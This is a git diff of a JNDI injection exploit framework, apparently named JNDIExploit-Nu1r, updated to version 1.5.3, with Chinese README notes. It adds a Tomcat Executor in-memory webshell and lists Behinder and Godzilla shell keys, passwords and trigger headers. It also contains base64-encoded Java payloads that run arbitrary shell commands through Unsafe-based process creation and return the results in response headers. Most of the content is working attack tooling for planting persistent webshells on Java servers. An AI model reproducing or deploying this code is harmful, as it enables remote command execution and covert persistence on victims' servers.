diff --git a/.idea/JNDIExploit-zh.iml b/.idea/JNDIExploit-zh.iml
index ba8b6887..2ca8b76a 100644
--- a/.idea/JNDIExploit-zh.iml
+++ b/.idea/JNDIExploit-zh.iml
@@ -16,6 +16,11 @@
+
+
+
+
+
diff --git a/.idea/jarRepositories.xml b/.idea/jarRepositories.xml
index f872b15c..fa91c0ac 100644
--- a/.idea/jarRepositories.xml
+++ b/.idea/jarRepositories.xml
@@ -31,5 +31,10 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_tomcat_tomcat_juli_9_0_62.xml b/.idea/libraries/Maven__org_apache_tomcat_tomcat_juli_9_0_62.xml
new file mode 100644
index 00000000..ace7fb9b
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_tomcat_tomcat_juli_9_0_62.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_tomcat_tomcat_servlet_api_9_0_62.xml b/.idea/libraries/Maven__org_apache_tomcat_tomcat_servlet_api_9_0_62.xml
new file mode 100644
index 00000000..961fb95e
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_tomcat_tomcat_servlet_api_9_0_62.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_tomcat_tomcat_util_9_0_62.xml b/.idea/libraries/Maven__org_apache_tomcat_tomcat_util_9_0_62.xml
new file mode 100644
index 00000000..0ceb1b84
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_tomcat_tomcat_util_9_0_62.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_tomcat_tomcat_websocket_9_0_62.xml b/.idea/libraries/Maven__org_apache_tomcat_tomcat_websocket_9_0_62.xml
new file mode 100644
index 00000000..25114a76
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_tomcat_tomcat_websocket_9_0_62.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__org_apache_tomcat_tomcat_websocket_api_9_0_62.xml b/.idea/libraries/Maven__org_apache_tomcat_tomcat_websocket_api_9_0_62.xml
new file mode 100644
index 00000000..7d7bbb17
--- /dev/null
+++ b/.idea/libraries/Maven__org_apache_tomcat_tomcat_websocket_api_9_0_62.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/README.md b/README.md
index f146f705..d9d67270 100644
--- a/README.md
+++ b/README.md
@@ -151,12 +151,12 @@ Supported LADP Queries:
* ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令
* ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot``` 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令
* ```WeblogicEcho```: 用于在中间件为 ```Weblogic``` 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令
-* 内存马已适配冰蝎4.0,AES加密, 添加后访问```/nu1r```即可, 暂时只写了冰蝎4的shell,冰蝎4.0使用时,需要先设置key为 ```f90ec6fa47af4bda```
+* 内存马已适配冰蝎4.0,AES加密, 添加后访问```/nu1r```即可, 暂时只写了冰蝎4的shell
+ - 前提条件:Referer: https://nu1r.cn/
+ - 冰蝎4.0使用时,需要先设置key为 ```f90ec6fa47af4bda```
- 支持引用类远程加载方式打入(Basic路由)
- 支持本地工厂类方式打入 (TomcatBypass路由)
* ```SpringInterceptor```: 向系统内植入 Spring Interceptor 类型的内存马
- * 前提条件:Referer: https://nu1r.cn/
- * 冰蝎4.0使用时,需要先设置key为 ```f90ec6fa47af4bda```
* X-nu1r-TOKEN 如果为 ce 则执行命令 , ?X-Token-Data=cmd
* X-nu1r-TOKEN 如果为 bx 则为冰蝎马 密码 nu1ryyds
* X-nu1r-TOKEN 如果为 gz 则为哥斯拉马 pass nu1r key nu1ryyds
@@ -173,7 +173,8 @@ Supported LADP Queries:
* ```TomcatListenerTh```: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马
* ```TomcatServletJmx```: 利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马
* ```TomcatServletTh```: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马
- * ```WSFilter```: 通过线程类加载器获取指定上下文向系统内植入 WebSocket 内存马
+ * ```WSFilter```: `CMD` 命令回显 WebSocket 内存马
+ * ```TomcatExecutor``` :`CMD` 命令回显 Executor 内存马
* 目前支持的所有 ```GadgetType``` 为
* ```URLDNS```
* ```CommonsBeanutils1```
diff --git a/pom.xml b/pom.xml
index b5e14d57..72984219 100644
--- a/pom.xml
+++ b/pom.xml
@@ -5,8 +5,8 @@
4.0.0
org.example
- JNDI-NU
- 1.5.2
+ JNDI
+ 1.5.3-NU
@@ -87,6 +87,12 @@
+
+ org.apache.tomcat
+ tomcat-websocket
+ 9.0.62
+ provided
+
org.jboss.weld
weld-core
diff --git a/src/main/java/com/nu1r/jndi/HTTPServer.java b/src/main/java/com/nu1r/jndi/HTTPServer.java
index 249a972a..2fe689fd 100644
--- a/src/main/java/com/nu1r/jndi/HTTPServer.java
+++ b/src/main/java/com/nu1r/jndi/HTTPServer.java
@@ -35,7 +35,7 @@ public void handle(HttpExchange httpExchange){
try {
System.out.println(ansi().eraseScreen().render(
" @|green █████\\|@ @|red ██\\ ██\\|@ @|yellow ███████\\|@ @|MAGENTA ██████\\|@ @|CYAN ██\\ ██\\ ██\\ ██\\|@ \n" +
- " @|green \\__██ ||@@|red ███\\ ██ ||@@|yellow ██ __██\\|@ @|MAGENTA \\_██ _||@ @|CYAN ███\\ ██ |██ | ██ ||@ @|BG_GREEN v1.5.2|@\n" +
+ " @|green \\__██ ||@@|red ███\\ ██ ||@@|yellow ██ __██\\|@ @|MAGENTA \\_██ _||@ @|CYAN ███\\ ██ |██ | ██ ||@ @|BG_GREEN v1.5.3|@\n" +
" @|green ██ ||@@|red ████\\ ██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@ @|CYAN ████\\ ██ |██ | ██ ||@ @|BG_CYAN JNDIExploit-Nu1r|@\n" +
" @|green ██ ||@@|red ██ ██\\██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@██████\\ @|CYAN ██ ██\\██ |██ | ██ ||@\n" +
"@|green ██\\ ██ ||@@|red ██ \\████ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@\\______|@|CYAN ██ \\████ |██ | ██ ||@\n" +
diff --git a/src/main/java/com/nu1r/jndi/LdapServer.java b/src/main/java/com/nu1r/jndi/LdapServer.java
index d1171763..69050dff 100644
--- a/src/main/java/com/nu1r/jndi/LdapServer.java
+++ b/src/main/java/com/nu1r/jndi/LdapServer.java
@@ -42,7 +42,7 @@ public static void start() {
ds.startListening();
System.out.println(ansi().eraseScreen().render(
" @|green █████\\|@ @|red ██\\ ██\\|@ @|yellow ███████\\|@ @|MAGENTA ██████\\|@ @|CYAN ██\\ ██\\ ██\\ ██\\|@ \n" +
- " @|green \\__██ ||@@|red ███\\ ██ ||@@|yellow ██ __██\\|@ @|MAGENTA \\_██ _||@ @|CYAN ███\\ ██ |██ | ██ ||@ @|BG_GREEN v1.5.2|@\n" +
+ " @|green \\__██ ||@@|red ███\\ ██ ||@@|yellow ██ __██\\|@ @|MAGENTA \\_██ _||@ @|CYAN ███\\ ██ |██ | ██ ||@ @|BG_GREEN v1.5.3|@\n" +
" @|green ██ ||@@|red ████\\ ██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@ @|CYAN ████\\ ██ |██ | ██ ||@ @|BG_CYAN JNDIExploit-Nu1r|@\n" +
" @|green ██ ||@@|red ██ ██\\██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@██████\\ @|CYAN ██ ██\\██ |██ | ██ ||@\n" +
"@|green ██\\ ██ ||@@|red ██ \\████ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@\\______|@|CYAN ██ \\████ |██ | ██ ||@\n" +
@@ -88,7 +88,7 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) {
//收到ldap请求
System.out.println(ansi().eraseScreen().render(
" @|green █████\\|@ @|red ██\\ ██\\|@ @|yellow ███████\\|@ @|MAGENTA ██████\\|@ @|CYAN ██\\ ██\\ ██\\ ██\\|@ \n" +
- " @|green \\__██ ||@@|red ███\\ ██ ||@@|yellow ██ __██\\|@ @|MAGENTA \\_██ _||@ @|CYAN ███\\ ██ |██ | ██ ||@ @|BG_GREEN v1.5.2|@\n" +
+ " @|green \\__██ ||@@|red ███\\ ██ ||@@|yellow ██ __██\\|@ @|MAGENTA \\_██ _||@ @|CYAN ███\\ ██ |██ | ██ ||@ @|BG_GREEN v1.5.3|@\n" +
" @|green ██ ||@@|red ████\\ ██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@ @|CYAN ████\\ ██ |██ | ██ ||@ @|BG_CYAN JNDIExploit-Nu1r|@\n" +
" @|green ██ ||@@|red ██ ██\\██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@██████\\ @|CYAN ██ ██\\██ |██ | ██ ||@\n" +
"@|green ██\\ ██ ||@@|red ██ \\████ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@\\______|@|CYAN ██ \\████ |██ | ██ ||@\n" +
diff --git a/src/main/java/com/nu1r/jndi/RMIServer.java b/src/main/java/com/nu1r/jndi/RMIServer.java
index 30b8debe..30cf9531 100644
--- a/src/main/java/com/nu1r/jndi/RMIServer.java
+++ b/src/main/java/com/nu1r/jndi/RMIServer.java
@@ -303,7 +303,7 @@ private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Ex
System.out.println(ansi().eraseScreen().render(
" @|green █████\\|@ @|red ██\\ ██\\|@ @|yellow ███████\\|@ @|MAGENTA ██████\\|@ @|CYAN ██\\ ██\\ ██\\ ██\\|@ \n" +
- " @|green \\__██ ||@@|red ███\\ ██ ||@@|yellow ██ __██\\|@ @|MAGENTA \\_██ _||@ @|CYAN ███\\ ██ |██ | ██ ||@ @|BG_GREEN v1.5.2|@\n" +
+ " @|green \\__██ ||@@|red ███\\ ██ ||@@|yellow ██ __██\\|@ @|MAGENTA \\_██ _||@ @|CYAN ███\\ ██ |██ | ██ ||@ @|BG_GREEN v1.5.3|@\n" +
" @|green ██ ||@@|red ████\\ ██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@ @|CYAN ████\\ ██ |██ | ██ ||@ @|BG_CYAN JNDIExploit-Nu1r|@\n" +
" @|green ██ ||@@|red ██ ██\\██ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@██████\\ @|CYAN ██ ██\\██ |██ | ██ ||@\n" +
"@|green ██\\ ██ ||@@|red ██ \\████ ||@@|yellow ██ | ██ ||@ @|MAGENTA ██ ||@\\______|@|CYAN ██ \\████ |██ | ██ ||@\n" +
diff --git a/src/main/java/com/nu1r/jndi/controllers/BasicController.java b/src/main/java/com/nu1r/jndi/controllers/BasicController.java
index 00112208..77788fa7 100644
--- a/src/main/java/com/nu1r/jndi/controllers/BasicController.java
+++ b/src/main/java/com/nu1r/jndi/controllers/BasicController.java
@@ -178,6 +178,13 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
insertKeyMethod(ctClass, "ws");
ctClass.setName(className);
break;
+ case tomcatexecutor:
+ className = "TWSMSFromThread";
+ pool = ClassPool.getDefault();
+ ctClass = pool.get("com.nu1r.jndi.template.tomcat.TWSMSFromThread");
+ insertKeyMethod(ctClass, "execute");
+ ctClass.setName(className);
+ break;
case meterpreter:
className = Meterpreter.class.getName();
break;
@@ -248,6 +255,12 @@ public static void main(String[] args) throws Exception {
}
public static void insertKeyMethod(CtClass ctClass, String type) throws Exception {
+
+ // 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload
+ String name = ctClass.getName();
+ name = name.substring(name.lastIndexOf(".") + 1);
+ boolean isTomcat = name.startsWith("T");
+
// 判断是 filter 型还是 servlet 型内存马,根据不同类型写入不同逻辑
String method = "";
@@ -275,16 +288,26 @@ public static void insertKeyMethod(CtClass ctClass, String type) throws Exceptio
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
- insertMethod(ctClass, method, Utils.base64Decode(BEHINDER_AES));
+ if (isTomcat) {
+ insertMethod(ctClass, method, Utils.base64Decode(BEHINDER_SHELL_FOR_TOMCAT));
+ } else {
+ insertMethod(ctClass, method, Utils.base64Decode(BEHINDER_SHELL));
+ }
break;
case "ws":
- ctClass.addMethod(CtMethod.make(Utils.base64Decode(TO_CSTRING_Method), ctClass));
- ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
- ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
- ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
+ insertCMD(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(WS_SHELL));
break;
+ case "execute":
+ ctClass.addField(CtField.make("public static String TAG = \"su18\";", ctClass));
+ insertCMD(ctClass);
+ ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_REQUEST), ctClass));
+ ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass));
+ ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_RESPONSE), ctClass));
+
+ insertMethod(ctClass, method, Utils.base64Decode(EXECUTOR_SHELL));
+ break;
}
}
@@ -293,4 +316,23 @@ public static void insertMethod(CtClass ctClass, String method, String payload)
CtMethod cm = ctClass.getDeclaredMethod(method);
cm.setBody(payload);
}
+
+ /**
+ * 向指定类中写入命令执行方法 execCmd
+ * 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法
+ *
+ * @param ctClass 指定类
+ * @throws Exception 抛出异常
+ */
+ public static void insertCMD(CtClass ctClass) throws Exception {
+ ctClass.addMethod(CtMethod.make(Utils.base64Decode(TO_CSTRING_Method), ctClass));
+ ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
+ ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
+ try {
+ ctClass.getDeclaredMethod("getFieldValue");
+ } catch (NotFoundException e) {
+ ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
+ }
+ ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD), ctClass));
+ }
}
diff --git a/src/main/java/com/nu1r/jndi/controllers/TomcatBypassController.java b/src/main/java/com/nu1r/jndi/controllers/TomcatBypassController.java
index e4d31e92..95033079 100644
--- a/src/main/java/com/nu1r/jndi/controllers/TomcatBypassController.java
+++ b/src/main/java/com/nu1r/jndi/controllers/TomcatBypassController.java
@@ -115,6 +115,9 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
case jettyservlet:
code = helper.injectJettyServlet();
break;
+ case tomcatexecutor:
+ code = helper.injectTomcatExecutor();
+ break;
}
String finalPayload = payloadTemplate.replace("{replacement}", code);
@@ -333,6 +336,15 @@ public String injectWSFilter() throws Exception {
return injectClass(ctClass.getClass());
}
+ public String injectTomcatExecutor() throws Exception {
+ String className = "TWSMSFromThread";
+ ClassPool pool = ClassPool.getDefault();
+ CtClass ctClass = pool.get("com.nu1r.jndi.template.tomcat.TWSMSFromThread");
+ insertKeyMethod(ctClass, "execute");
+ ctClass.setName(className);
+ return injectClass(ctClass.getClass());
+ }
+
public String injectSpringInterceptor() throws Exception {
byte[] classBytes;
ClassPool pool = ClassPool.getDefault();
diff --git a/src/main/java/com/nu1r/jndi/enumtypes/PayloadType.java b/src/main/java/com/nu1r/jndi/enumtypes/PayloadType.java
index 5eb957fd..07d2a95e 100644
--- a/src/main/java/com/nu1r/jndi/enumtypes/PayloadType.java
+++ b/src/main/java/com/nu1r/jndi/enumtypes/PayloadType.java
@@ -23,5 +23,6 @@ public enum PayloadType {
jettyfilter,
jettyservlet,
wsfilter,
+ tomcatexecutor,
meterpreter;
}
diff --git a/src/main/java/com/nu1r/jndi/template/shell/MemShellPayloads.java b/src/main/java/com/nu1r/jndi/template/shell/MemShellPayloads.java
index 8baeaa6e..ce2e365e 100644
--- a/src/main/java/com/nu1r/jndi/template/shell/MemShellPayloads.java
+++ b/src/main/java/com/nu1r/jndi/template/shell/MemShellPayloads.java
@@ -1,21 +1,20 @@
package com.nu1r.jndi.template.shell;
public class MemShellPayloads {
- public static String BEHINDER_AES = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsNCgkJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3BvbnNlOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9udTFyLmNuLyIpKSB7DQoJCQkJaWYgKCEobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSkgew0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0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PYmplY3QsIHRvQ1N0cmluZyhjbWRzWzBdKSwgYXJnQmxvY2ssIEludGVnZXIudmFsdWVPZihhcmdzLmxlbmd0aCksbnVsbCwgSW50ZWdlci52YWx1ZU9mKDEpLCBudWxsLCBzdGRfZmRzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsImluaXRTdHJlYW1zIixuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sbmV3IE9iamVjdFtde3N0ZF9mZHN9KTsKCQkJCQkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9KGphdmEuaW8uSW5wdXRTdHJlYW0pZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsImdldElucHV0U3RyZWFtIixudWxsLG51bGwpOwoJCQkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBiYW9zID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJCWludCAgICAgICAgICAgICAgICAgICBhICAgID0gMDsKCQkJCQkJYnl0ZVtdICAgICAgICAgICAgICAgIGIgICAgPSBuZXcgYnl0ZVsxMDI0XTsKCgkJCQkJCXdoaWxlICgoYSA9IGluLnJlYWQoYikpICE9IC0xKSB7CgkJCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJCQl9CgoJCQkJCQkoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlKSBsYXN0UmVzcG9uc2UpLmdldFdyaXRlcigpLnByaW50bG4oYmFvcyk7CgoJCQkJCX19CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCX0KfQ==";
+ // executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性
+ public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN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bXB0eSgpKSB7CiAgICAgICAgICAgICAgICAgICAgU3RyaW5nW10gY21kcyA9IG51bGw7CiAgICAgICAgICAgICAgICAgICAgaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0LkZpZWxkIHRoZVVuc2FmZUZpZWxkID0gc3VuLm1pc2MuVW5zYWZlLmNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOwogICAgICAgICAgICAgICAgICAgIHRoZVVuc2FmZUZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgc3VuLm1pc2MuVW5zYWZlIHVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIHRoZVVuc2FmZUZpZWxkLmdldChudWxsKTsKCiAgICAgICAgICAgICAgICAgICAgQ2xhc3MgcHJvY2Vzc0NsYXNzID0gbnVsbDsKCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHByb2Nlc3NDbGFzcyA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5Qcm9jZXNzSW1wbCIpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IHByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoKICAgICAgICAgICAgICAgICAgICBieXRlW11bXSBhcmdzID0gbmV3IGJ5dGVbY21kcy5sZW5ndGggLSAxXVtdOwogICAgICAgICAgICAgICAgICAgIGludCAgICAgIHNpemUgPSBhcmdzLmxlbmd0aDsKCiAgICAgICAgICAgICAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBhcmdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGFyZ3NbaV0gPSBjbWRzW2kgKyAxXS5nZXRCeXRlcygpOwogICAgICAgICAgICAgICAgICAgICAgICBzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CiAgICAgICAgICAgICAgICAgICAgaW50ICAgIGkgICAgICAgID0gMDsKCiAgICAgICAgICAgICAgICAgICAgZm9yIChpbnQgaTEgPSAwOyBpMSA8IGFyZ3MubGVuZ3RoOyBpMSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIFN5c3RlbS5hcnJheWNvcHkoYXJnc1tpMV0sIDAsIGFyZ0Jsb2NrLCBpLCBhcmdzW2kxXS5sZW5ndGgpOwogICAgICAgICAgICAgICAgICAgICAgICBpICs9IGFyZ3NbaTFdLmxlbmd0aCArIDE7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBpbnRbXSAgc3RkX2ZkcyAgICAgICAgICAgICAgID0gbmV3IGludFtdey0xLCAtMSwgLTF9OwogICAgICAgICAgICAgICAgICAgIE9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgP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2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CiAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICAgaW4gICA9IChqYXZhLmlvLklucHV0U3RyZWFtKSBnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImdldElucHV0U3RyZWFtIiwgbnVsbCwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwogICAgICAgICAgICAgICAgICAgIGludCAgICAgICAgICAgICAgICAgICAgICAgICAgIGEgICAgPSAwOwogICAgICAgICAgICAgICAgICAgIGJ5dGVbXSAgICAgICAgICAgICAgICAgICAgICAgIGIgICAgPSBuZXcgYnl0ZVsxMDI0XTsKCiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgYmFvcy53cml0ZShiLCAwLCBhKTsKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGluLmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJ3YWl0Rm9yIiwgbmV3IENsYXNzW117fSwgbmV3IE9iamVjdFtde30pOwogICAgICAgICAgICAgICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGJhb3MudG9TdHJpbmcoKSk7CgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewogICAgICAgICAgICB9CiAgICAgICAgfQ==";
+ // executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode
+ public static String GET_RESPONSE = "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cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ";
// toCString
public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ==";
@@ -35,10 +34,6 @@ public class MemShellPayloads {
// base64Encode
public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCX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WF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9";
-
- // 哥斯拉 AES 方法 x(需要 Field xc)
- public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ==";
-
+ // 命令执行封装方法,需要 toCString getMethodByClass getMethodAndInvoke getFieldValue
